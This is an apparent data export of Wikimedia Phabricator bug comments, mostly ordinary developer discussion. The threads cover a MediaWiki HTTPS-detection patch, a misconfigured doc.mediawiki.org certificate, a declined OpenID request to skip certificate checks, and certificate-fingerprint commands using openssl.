> (Also, this needs to go into Gerrit nowadays: See
> https://www.mediawiki.org/wiki/Developer_access and
> https://www.mediawiki.org/wiki/Git/Tutorial )
>
OK, thanks for info, I will sign-up for the Gerrit account.

**Attached**: {F10308}",,,1394011060,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,False,,,27,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,25.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,6.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.096774193548387,0.5161290322580645,"**jskarvad** wrote:

(In reply to Andre Klapper from comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
I will check the current status and in case the problem is still there I will refresh the patch.

QUOTE
QUOTE
QUOTE
QUOTE
OK, thanks for info, I will sign-up for the Gerrit account.

**Attached**: {F10308}"
207799,HTTPS detection is not reliable,"(In reply to Jaroslav Škarvada from comment #8)
> Created attachment 11984 [details]
> Proposed fix for mediawiki-1.20.3

Hmm, https://git.wikimedia.org/tree/mediawiki%2Fcore.git does not list any ""php"" subfolder in the top level, neither does the 1.19.12 tarball, so it cannot be applied and I am not sure which base this patch is against. Can you clarify?

(Also, this needs to go into Gerrit nowadays: See https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Git/Tutorial )

**Attached**: {F10308}",,,1393610880,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,3,True,,,26,True,1.0,0.0,0.0,1.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,6.0,1.0,1.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,19.0,1.0,2.0,7.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,3.0,9.0,9.0,1.0,2.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2790697674418605,0.7441860465116279,"(In reply to Jaroslav Škarvada from comment #8)
QUOTE
QUOTE

Hmm, URL does not list any ""php"" subfolder in the top level, neither does the 1.19.12 tarball, so it cannot be applied and I am not sure which base this patch is against. Can you clarify?

(Also, this needs to go into Gerrit nowadays: See URL and URL )

**Attached**: {F10308}"
207793,HTTPS detection is not reliable,"Platonides: Wondering if you'd be interested in this / could comment, as per bug 28798 comment 10 but maybe I'm wrong.

Anybody could put the patch into Gerrit so we can get it in. See
  https://www.mediawiki.org/wiki/Developer_access    and
  https://www.mediawiki.org/wiki/Git/Tutorial",,,1366025512,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,True,,,-20,True,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,2.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5208333333333335,0.875,"Platonides: Wondering if you'd be interested in this / could comment, as per bug 28798 comment 10 but maybe I'm wrong.

Anybody could put the patch into Gerrit so we can get it in. See
  URL    and
  URL"
207785,HTTPS detection is not reliable,"**jskarvad** wrote:

Proposed fix for mediawiki-1.20.3

This resolves the problem for me.

- Fixed HTTPS check to be according to PHP docs.
- Added port 80 as another default port for HTTPS (TLS)

Reproducer:
- hosted mediawiki-1.20.3 on Openshift
- accessed the user preferences through TLS, changed anything and clicked save

Result without patch:
Warning, that the data will be sent unencrypted, if HTTPS is enforced through the Apache rewrite rule, nothing get saved

Result with patch:
No warning, data get saved

**Attached**: {F10308}",,,1364163171,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,1.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,8.5,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.5,0.0,2.5,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,12.5,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,8.5,8.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,3.916666666666667,0.675,"**jskarvad** wrote:

Proposed fix for mediawiki-1.20.3

This resolves the problem for me.

- Fixed HTTPS check to be according to PHP docs.
- Added port 80 as another default port for HTTPS (TLS)

Reproducer:
- hosted mediawiki-1.20.3 on Openshift
- accessed the user preferences through TLS, changed anything and clicked save

Result without patch:
Warning, that the data will be sent unencrypted, if HTTPS is enforced through the Apache rewrite rule, nothing get saved

Result with patch:
No warning, data get saved

**Attached**: {F10308}"
207777,HTTPS detection is not reliable,"**jskarvad** wrote:

(In reply to comment #6)
> starting from line 1560,
Actually line 156.",,,1364149516,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,9.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.739130434782609,0.8260869565217391,"**jskarvad** wrote:

(In reply to comment #6)
QUOTE
Actually line 156."
207770,HTTPS detection is not reliable,"**jskarvad** wrote:

(In reply to comment #5)
> Hi Jaroslav! Thanks for your patch, but unfortunately 1.16 is not maintained
> anymore. Could you provide a hint (line number) where to see the same problem
> in 1.20.3, if possible?

It seems to be in the includes/WebRequest.php (starting from line 1560, functions detectServer() and detectProtocolAndStdPort(). I will try to provide the patch (I need to get it into cloud first to check whether the fix really works there).",,,1364149379,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,11.0,1.0,1.0,4.0,0.0,0.0,0.0,1.0,8.0,0.0,3.0,0.0,5.0,14.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.6164383561643834,0.684931506849315,"**jskarvad** wrote:

(In reply to comment #5)
QUOTE
QUOTE
QUOTE

It seems to be in the includes/WebRequest.php (starting from line 1560, functions detectServer() and detectProtocolAndStdPort(). I will try to provide the patch (I need to get it into cloud first to check whether the fix really works there)."
207764,HTTPS detection is not reliable,"Hi Jaroslav! Thanks for your patch, but unfortunately 1.16 is not maintained anymore. Could you provide a hint (line number) where to see the same problem in 1.20.3, if possible?",,,1364148485,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,5.0,3.0,5.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,0.0,5.0,11.0,5.0,3.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.027027027027027,0.972972972972973,"Hi Jaroslav! Thanks for your patch, but unfortunately 1.16 is not maintained anymore. Could you provide a hint (line number) where to see the same problem in 1.20.3, if possible?"
207758,HTTPS detection is not reliable,"**jskarvad** wrote:

Maybe the relative URLs could be used.",,,1364146357,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8125,"**jskarvad** wrote:

Maybe the relative URLs could be used."
207754,HTTPS detection is not reliable,"**jskarvad** wrote:

(In reply to comment #2)
> (In reply to comment #1)
> > Created attachment 11983 [details]
> > Proposed fix for mediawiki-1.16
> > 
> Maybe the check should be against '' and not 'off' to be according to the PHP
> docs.

ISAPI with IIS uses 'off', so probably the following could be OK:

$wgProto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off') ? 'https' : 'http';

**Attached**: {F10307}",,,1364145422,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,15.0,0.0,4.0,1.0,0.0,0.0,2.0,1.0,2.0,0.0,1.0,0.0,0.0,5.0,12.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.6770833333333335,0.4895833333333333,"**jskarvad** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

ISAPI with IIS uses 'off', so probably the following could be OK:

$wgProto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != '' && $_SERVER['HTTPS'] != 'off') ? 'https' : 'http';

**Attached**: {F10307}"
207747,HTTPS detection is not reliable,"**jskarvad** wrote:

(In reply to comment #1)
> Created attachment 11983 [details]
> Proposed fix for mediawiki-1.16
> 
Maybe the check should be against '' and not 'off' to be according to the PHP docs.

**Attached**: {F10307}",,,1364145164,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.811320754716981,0.6415094339622641,"**jskarvad** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
Maybe the check should be against '' and not 'off' to be according to the PHP docs.

**Attached**: {F10307}"
207743,HTTPS detection is not reliable,"**jskarvad** wrote:

Proposed fix for mediawiki-1.16

The latest trunk has the code refactored into functions, but the principle should be the same.

**Attached**: {F10307}",,,1364144156,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7ldaahpp3qkur3swavmi,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,10.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.707317073170732,0.7073170731707317,"**jskarvad** wrote:

Proposed fix for mediawiki-1.16

The latest trunk has the code refactored into functions, but the principle should be the same.

**Attached**: {F10307}"
48298,https://doc.mediawiki.org/ should not exist or have a valid certificate and redirect to doc.wikimedia.org,"Right now it is an undocumented domain name (not in use anywhere) falling back to the default docroot on Gallium (which is for doc.wikimedia.org) and as such as serving an invalid certificate.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1363647060,1364239629.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5zrdbxk2g3du4iaabeyr,task_description,resolved,True,c2,1,True,False,True,-24,True,0.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,4.140350877192983,0.7543859649122807,"Right now it is an undocumented domain name (not in use anywhere) falling back to the default docroot on Gallium (which is for doc.wikimedia.org) and as such as serving an invalid certificate.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
218646,https://doc.mediawiki.org/ should not exist or have a valid certificate and redirect to doc.wikimedia.org,Change-Id: Ideca6e75eb99fde407509acda4057c940bddfb07,,,1363648008,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5zrdbxk2g3du4iaabeyr,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.2,1.0,Change-Id: Ideca6e75eb99fde407509acda4057c940bddfb07
48189,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","see also bug 45324 .

The implementation would require a user_openid table schema change, so that an additional column uoi_openid_ignore_certificate_check can be added and can be set to ""1"". (per user).

""per-OpenID provider"" would either require 

+ an additional database table openid_providers which save their properites including whether not to ignore certificate checks; or
+ hard-coding the value for the preprogrammed providers. 

A setting (checkbox ""ignore certificate checks"") for manually entered OpenIDs must be added on the Login and Convert panels.

--------------------------
**Version**: master
**Severity**: enhancement",Medium,50.0,1363434360,1363476129.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-phwaotxxcljiyzqxexfz,task_description,declined,True,c2,1,False,False,True,-24,True,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,1.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.5,1.5,2.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,6.0,1.5,4.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,0.5,6.0,3.5,0.0,3.5,0.0,0.5,0.0,0.5,2.5,0.0,1.5,0.0,0.0,0.0,4.5,0.7258064516129032,"see also bug 45324 .

The implementation would require a user_openid table schema change, so that an additional column uoi_openid_ignore_certificate_check can be added and can be set to ""1"". (per user).

""per-OpenID provider"" would either require 

+ an additional database table openid_providers which save their properites including whether not to ignore certificate checks; or
+ hard-coding the value for the preprogrammed providers. 

A setting (checkbox ""ignore certificate checks"") for manually entered OpenIDs must be added on the Login and Convert panels.

--------------------------
**Version**: master
**Severity**: enhancement"
212872,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","closed after discussion with Ryan (""there's never a good reason to allow insecure checking"")",,,1363476129,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.157894736842105,0.9473684210526315,"closed after discussion with Ryan (""there's never a good reason to allow insecure checking"")"
212863,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",Here's a simple cert viewer in PHP https://github.com/Wikinaut/MySimpleCertViewer,,,1363450109,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,33.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,1.0,Here's a simple cert viewer in PHP URL
212858,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",*** Bug 45956 has been marked as a duplicate of this bug. ***,,,1363443610,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 45956 has been marked as a duplicate of this bug. ***
212854,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","SHA-1 example for OPENSSL (tested)

echo -n | openssl s_client -connect www.google.org:443 2>/dev/null | sed -n ""/BEGIN CERTIFICATE/,/END CERTIFICATE/p"" | openssl x509 -fingerprint -sha1 -noout

results in output:

""SHA1 Fingerprint=15:23:B4:8F:71:6F:E7:88:55:17:58:19:F3:D4:C0:59:8A:07:73:44""


see http://serverfault.com/questions/139728/how-to-download-ssl-certificate-from-a-website

Example for GNUTLS (untested):

The GNUTLS client tool, gnutls-cli, can also make this easy:

gnutls-cli --print-cert www.example.com < /dev/null > www.example.com.certs

The program is designed to provide an interactive client to the site, so you need to give it empty input to end the interactive session.",,,1363441863,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,9.5,0.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,1.0,1.5,0.0,1.5,5.0,7.5,0.0,2.0,0.0,1.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,4.450819672131147,0.7377049180327868,"SHA-1 example for OPENSSL (tested)

echo -n | openssl s_client -connect www.google.org:443 2>/dev/null | sed -n ""/BEGIN CERTIFICATE/,/END CERTIFICATE/p"" | openssl x509 -fingerprint -sha1 -noout

results in output:

""SHA1 Fingerprint=15:23:B4:8F:71:6F:E7:88:55:17:58:19:F3:D4:C0:59:8A:07:73:44""


see URL

Example for GNUTLS (untested):

The GNUTLS client tool, gnutls-cli, can also make this easy:

gnutls-cli --print-cert www.example.com < /dev/null > www.example.com.certs

The program is designed to provide an interactive client to the site, so you need to give it empty input to end the interactive session."
212848,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user",see https://sourceforge.net/p/curl/feature-requests/69/,,,1363440132,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,see URL
212842,"OpenID consumer when authenticating an https://OpenID - allow untrusted CA (e.g. for self-signed certificates) per-OpenID-provider, or per-user","add to the the per-openid provider and/or per-user solution;

+ show OpenID provider's fingerprint
+ store fingerprint if user accepted
+ alert, if during the next authentication the current and stored fingerprints differ",,,1363438982,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-phwaotxxcljiyzqxexfz,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,5.0,12.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.465116279069767,0.7209302325581395,"add to the the per-openid provider and/or per-user solution;

+ show OpenID provider's fingerprint
+ store fingerprint if user accepted
+ alert, if during the next authentication the current and stored fingerprints differ"
47808,Parsoid: Redirects should not be served as HTTP 200 with contents of target,"When editing page with redirect, I can edit just the page to where it is redirected.

--------------------------
**Version**: unspecified
